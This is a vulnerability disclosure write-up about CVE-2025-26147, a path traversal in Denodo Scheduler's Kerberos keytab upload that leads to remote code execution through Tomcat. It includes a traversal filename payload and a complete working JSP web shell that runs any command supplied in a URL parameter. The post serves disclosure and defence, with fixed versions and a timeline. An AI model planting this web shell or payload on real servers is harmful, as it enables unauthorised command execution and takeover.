Introduction
Affected Product Summary
Denodo provides a range of logical data management software.
This blog focuses on one such software, called “Scheduler”. Denodo Scheduler allows the scheduling and execution of data extraction and integration jobs.
Vendor: Denodo
Product: Denodo Scheduler
Confirmed Vulnerable Version: v8.0.202309140
Fixed Version: Denodo 8.0: denodo-v80-update-20240307
Denodo Scheduler: A time-based Job Scheduler
The Denodo Scheduler is a web application written in Java. The web application contains administrative functionality that allows administrators to configure servers, databases, and specify forms of authentication.
In Scheduler’s authentication settings, administrators can configure authentication through Kerberos. Kerberos is a network authentication protocol that uses tickets and symmetric-key cryptography to allow secure authentication over an insecure network. The web application allowed administrators to upload “Keytab” files. A keytab (key table) file in Kerberos is a file that stores service principal credentials (encrypted keys) for authentication without requiring a password.
When intercepted with a HTTP proxy, the HTTP request that uploads the “Keytab” file is a multipart form data POST request. In the “Content-Depsoition” HTTP header, the web application sends the name of the form and the filename, “keyTabFile” and “filename” respectively. It is in the value of the “filename” attribute where a path traversal attack vulnerability was found. A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder.
By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file systems. Specifically for CVE-2025-26147, the payload in the Kerberos “Keytab” file upload request allows a malicious user to upload a file to (almost) anywhere in the server’s filesystem:
filename=”../../../../opt/denodo/malicious.file.txt”
However, when a file was uploaded, a timestamp was appended to the filename. For example, if the previous “filename” was uploaded it would create the following file on the system:
malicious.file-1711156561716.txt
The filename with the timestamp was given to the user via the HTTP response, eliminating the need to guess the timestamp. But, another path to remote code execution would need to be found.
Filename with the timestamp.
Escalation to Remote Code Execution
With the ability to write arbitrary files to the filesystem, it’s time to enumerate the filesystem to determine where a malicious file would be the most impactful and hopefully lead to code execution.
As previously mentioned, the application and the deployment environment were in Java. Specifically, the web server was Apache Tomcat.
Apache Tomcat (called “Tomcat” for short) is a free and open-source implementation of a “pure Java” HTTP web server environment in which Java code can also run.
Using Linux command-line programs “find” and “grep”, an Apache Tomcat web root directory was discovered on the file system.
/path/to/webroot/resources/apache-tomcat/webapps/ROOT/
The next step was to create a Java Web Shell. A Java Web Shell (JSP-based) is a type of malicious or administrative script that allows remote code execution on a web server running JavaServer Pages (JSP).
Below is an example of a Java Web Shell that, when executed, will run the command supplied to the GET HTTP request URL query parameter “cmd.”
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
java.io.InputStream is = p.getInputStream();
java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().println(output);
}
%>
Example of a Java Web Shell.
After uploading the Java Web Shell, a user can execute commands remotely by visiting the web shell. The image below shows the result of executing the “id” command.
Example executing the “id” command.
Conclusion
This blog highlights how a seemingly simple vulnerability can be escalated to achieve remote code execution and outlines the importance of taking a defensive coding approach to all software development in order to ensure the confidentiality, integrity, and availability of services for end users. This vulnerability was found by John De Armas and Morgan Backus.
We would like to thank Denodo for their swift response and handling of these issues when we brought them to their attention.
Lastly, stay informed about our latest updates and research by following us on our social media channels.
Twitter: https://x.com/rhinosecurity
LinkedIn: https://www.linkedin.com/company/rhino-security-labs/
Disclosure Timeline
| Vulnerability Disclosure Timeline | |
| Date | Action Item |
| 4/9/2024 | Rhino disclosed the vulnerability to Denodo. |
| 4/23/2024 | Denodo received and acknowledged the vulnerability. |
| 4/23/2024 | Denodo released a patch for the vulnerability. |
